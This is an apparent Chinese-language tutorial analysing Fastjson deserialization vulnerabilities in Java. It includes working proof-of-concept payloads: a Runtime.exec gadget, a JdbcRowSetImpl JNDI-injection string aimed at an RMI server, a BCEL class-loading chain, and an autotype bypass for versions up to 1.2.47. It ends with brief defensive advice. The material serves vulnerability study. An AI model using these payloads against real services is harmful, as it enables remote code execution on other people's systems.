Java安全——fastjson反序列化分析
字数 1189 2025-08-29 22:41:38
Fastjson反序列化漏洞分析与利用
1. Fastjson基础流程分析
Fastjson将字符串转化为Java对象本质上是一个反序列化的过程:
-
字符串解析阶段:
- 在
DefaultJSONParser类中将字符串进行分割 - 在
ParseConfig类中通过getDeserializer获取反序列化器
- 在
-
自定义类处理:
- 对于自定义类,Fastjson会认为是JavaBean对象
- 通过
createJavaBeanDeserializer方法进行反序列化 - 默认开启
asmEnable,使用asmFactory.createJavaBeanDeserializer
-
关键调试技巧:
- 在类中添加
Map属性并提供get方法可使asmEnable置为false - 便于调试进入
JavaBeanDeserializer类
- 在类中添加
-
方法调用机制:
FieldInfo类通过反射调用get/set方法- 示例中
Map属性无set方法时,会调用get方法
2. 基础利用实验
2.1 测试类示例
public class Person {
private String name;
private int age;
private Map map;
// 构造方法省略
public Map getMap() {
System.out.println("调用getMap方法");
return map;
}
// 其他getter/setter省略
}
2.2 测试代码
public class JSONUser {
public static void main(String[] args) {
String s = "{\"@type\":\"Person\",\"name\":\"aaa\",\"age\":\"12\",\"map\":{}}";
final JSONObject parse = JSON.parseObject(s);
System.out.println(parse);
}
}
2.3 恶意类示例
public class Test {
private String cmd;
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
3. Fastjson攻击链分析
3.1 JdbcRowSetImpl攻击链(出网利用)
限制条件:
- 版本限制
- 依赖限制
- 需要出网
利用原理:
JdbcRowSetImpl类存在JNDI注入漏洞- 满足Fastjson反序列化条件:
- 属性为public
- 或有set方法
- 或为Map/Collection/Atomic类型
关键调用链:
setAutoCommit->connect-> JNDI注入
POC示例:
public class FastJsonRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}";
JSON.parseObject(s);
}
}
3.2 BCEL攻击链(不出网利用)
利用原理:
- BCEL类中的
ClassLoader有loadClass方法 - 当类名以`
\[BCEL \]
`开头时会创建该类
关键类:
BasicDataSource中的createConnectionFactory方法- 最终通过
getConnection触发
POC示例:
public class FastJsonBCEL {
public static void main(String[] args) throws Exception {
byte[] classBytes = Files.readAllBytes(Paths.get("evil.class"));
final String code = Utility.encode(classBytes, true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
"+code+"\",\"driverClassLoader\":{\"@type\":\"sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
}
4. Fastjson ≤1.2.47利用链
4.1 版本限制绕过
绕过原理:
- Fastjson 1.2.25+增加了autotype检测
- 利用缓存机制绕过:
TypeUtils.getClassFromMapping从缓存中查找类- 通过
TypeUtils.loadClass加载恶意类到缓存
POC示例:
public class fastjson_1247 {
public static void main(String[] args) {
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}}";
JSON.parseObject(s);
}
}
5. 防御建议
- 升级到最新安全版本
- 关闭autotype功能
- 使用白名单机制限制反序列化类
- 对输入进行严格过滤
6. 总结
Fastjson反序列化漏洞的核心在于:
- 通过
@type指定恶意类 - 利用类中的getter/setter方法或特定属性触发漏洞
- 结合JNDI、BCEL等机制实现RCE
- 高版本通过缓存机制绕过autotype检测